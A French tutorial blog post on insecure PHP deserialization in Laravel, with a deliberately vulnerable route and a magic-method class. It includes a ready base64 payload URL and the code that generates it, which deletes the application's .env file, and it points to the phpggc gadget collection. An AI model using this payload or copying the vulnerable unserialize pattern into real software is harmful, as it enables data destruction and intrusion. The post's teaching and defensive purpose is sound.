Les failles SQL et XSS sont probablement les plus courantes en PHP, à la fois simple à détecter et à exploiter elles sont pourtant délétères pour nos applications.
Mais connaissez-vous les failles RCE ?
Une faille RCE (Remote Code Execution) consiste à injecter puis exécuter arbitrairement du code dans une application.
Ces failles quoi que complexes à mettre en oeuvre ne sont pas moins extrêmement dangereuses.
Voyons comment exploiter l’une d’entre elles dans une application Laravel.
Un peu de magie pour commencer
Une instance de class en PHP dispose de tout un lot de méthodes magiques.
Ces méthodes interviennent sans que vous le sachiez forcement à plusieurs moments clés, elles rythmes la vie d’une instance de class.
Vous connaissez probablement __construct
ou même __destruct
qui respectivement s’exécutent à l’instanciation d’un objet et à la fin de votre script.
D’autres moins connues vous permettent d’interagir avec l’objet à des moments clés de son cycle de vie : invoke, wakeup, sleep …
Toutes ces méthodes s’exécutent de manière implicite d'où leur sobriquet ✨ magique ✨.
Par exemple, vous n’utilisez pas directement la méthode __get()
mais en contactant la propriété d'un l'objet :
1class Foo2{3 public function __get($name)4 {5 echo $name;6 }7}8 9(new Foo())->bar; // bar
C’est le caractère “magique” de ces méthodes qui les rend dangereuses et imprévisibles et qui nous permettra un peu plus tard de mettre en place une faille RCE.
La serialization
La serialization est une fonctionnalité de PHP permettant de transformer une instance de class en une chaine de caractères.
1class Foo 2{ 3 public function __construct( 4 protected $bar, 5 ){} 6} 7 8$foo = new Foo('Hello'); 9 10echo serialize($foo); // O:3:"Foo":1:{s:6:"*bar";s:5:"Hello";}
La chaine de caractère ainsi obtenue est une représentation textuelle de l’instance de notre objet.
la serialization offre une façon efficace de stocker / transporter une instance
Nous pouvons rapidement identifier quelques informations importantes en analysant cette chaine de caractères.
On y retrouve entre autres le nom de notre class ainsi que la valeur de ses propriétés.
En somme, cette chaine de caractères contient toutes les informations essentielles permettant de recréer une instance identique de notre class grace à la fonction unserialize !
1$foo = unserialize('O:3:"Foo":1:{s:6:"*bar";s:5:"Hello";}');2 3echo $foo->bar; // Hello
Nous venons de voir qu’une class en PHP avait des méthodes qui s’exécutaient “toutes seules” et que la serialization permettait de transformer une instance en une chaine de caractères.
Nous avons désormais tous les ingrédients nécessaires pour préparer une faille RCE.
Exploitation d’une faille RCE
Imaginons que vous développez cette application Laravel.
D’une part, cette application possède un service permettant de préparer une liste de fichiers à supprimer.
Ce service utilise une méthode magique __destruct
pour supprimer les fichiers uniquement à la fin de l’exécution du script.
1<?php 2 3namespace App; 4 5class PurgeService 6{ 7 protected array $files = []; 8 9 public function addFile(string $file): void10 {11 $this->files[] = $file;12 }13 14 public function __destruct()15 {16 array_map(fn($file) => unlink($file), $this->files);17 }18}
Attention à l'utilisation de
unlink
pour supprimer un fichier, contrairement à Storage il ne protege pas d'un directory traversal
D'une seconde part, cette application possède une route récupérant une chaine de caractères depuis l'URL en base64
et qui la désérialise.
1Route::get('rce-exploit', function (Request $request) {2 $payload = $request->payload;3 unserialize(base64_decode($payload)); // plz never do that4 echo 'hello !';5});
Désormais, cliquez sur cette URL :
1http://localhost:8089/rce-exploit?payload=TzoxNjoiQXBwXFB1cmdlU2VydmljZSI6MTp7czo1OiJmaWxlcyI7YToxOntpOjA7czo5OiIuLy4uLy5lbnYiO319
Bingo, vous venez de subir une belle faille RCE … et le fichier .env
de votre application n'existe plus !
Comment ça marche
Le payload que vous venez de désérialiser n’est pas anodin.
Il représente la base64
d’une chaine savamment préparée pour attaquer votre application.
En connaissant la structure de votre projet, l’attaquant n’a plus qu’à chercher dans votre code une class utilisant une méthode magique à exploiter, dans notre situation la class PurgeService
offre un vecteur d’attaque simple à utiliser.
Désormais, il suffit à l’attaquant de réécrire cette class faillible de son coté, de l'instancier avec des propriétés problématiques puis de sérialiser l'instance pour finalement l'encoder en base64
pour générer le payload.
1<?php 2 3namespace App; 4 5class PurgeService 6{ 7 public array $files = [ 8 './../.env', 9 ];10}11 12$class = new PurgeService();13 14$payload = base64_encode(serialize($class));15 16echo $payload; // TzoxNjoiQXBwXFB1cmdlU2VydmljZSI6MTp7czo1OiJmaWxlcyI7YToxOntpOjA7czo5OiIuLy4uLy5lbnYiO319
En désérialisant ce payload dans notre application faillible, la class PurgeService
sera instanciée avec une propriété $files
déjà initialisée et contenant un fichier sensible.
À la fin de l’exécution du script, la class fera son office en exécutant sa méthode __destruct
ce qui provoquera la suppression du fichier que l’attaquant aura au préalable sélectionné dans le payload.
Félicitations, vous venez d’exploiter une faille RCE !
Une faille dangereuse
Notre précédent exemple nécessitait l’écriture d’une class PurgeService
volontairement problématique mais bien souvent le vecteur d’attaque ne sera pas l’une de vos classes … mais une class du vendor !
Laravel connut par le passé plusieurs failles RCE et certaines sont même encore actives.
Récemment, Il s’est avéré que les class Routing, PendingBroadcast ou bien encore FileCookieJar offraient des vecteurs d’attaques exploitable pour une désérialisation malveillante.
Pour creuser davantage, le package ambionics/phpggc contient une liste de payload facilement accessible pour tester les injections de votre framework.
Après avoir cloné le projet, vous pouvez voir toutes les injections possibles dans Laravel à l’aide de la commande :
1phpggc -l laravel
Comment s'en prémunir
Ne venons de voir qu’exploiter une faille RCE était quelque chose de complexe.
L’attaquant doit connaitre la structure de votre projet, au minimum la version du framework que vous utilisez, créer un payload correspond à votre application et finalement trouvé une manière de l’exécuter dans un unserialize
.
La probabilité d’une faille RCE est faible mais sa gravité est élevée
Une chose est sûre, pour s’en prémunir, ne jamais désérialiser une chaine qui ne provient pas d’un acteur de confiance.
Mais par moment ces failles proviendront de l’une de vos dépendances, cachée au fin fond de votre vendor, une attention particulière et des librairies à jour seront donc toujours nécessaires pour se protéger des failles RCE.
Source : https://github.com/laravel-fr/support-laravel-rce-exploit
A lire
Autres articles de la même catégorie
Tour d'horizon des dataproviders
Améliorons nos tests avec les dataProvider !
Mathieu De Gracia
Effectuer rapidement des benchmarks dans Laravel
Voyons comment le nouveau service Benchmark de Laravel fonctionne !
Mathieu De Gracia
Le driver email failover
Protégez-vous des indisponibilités de votre serveur e-mails grace à un driver failover !
Antoine Benevaut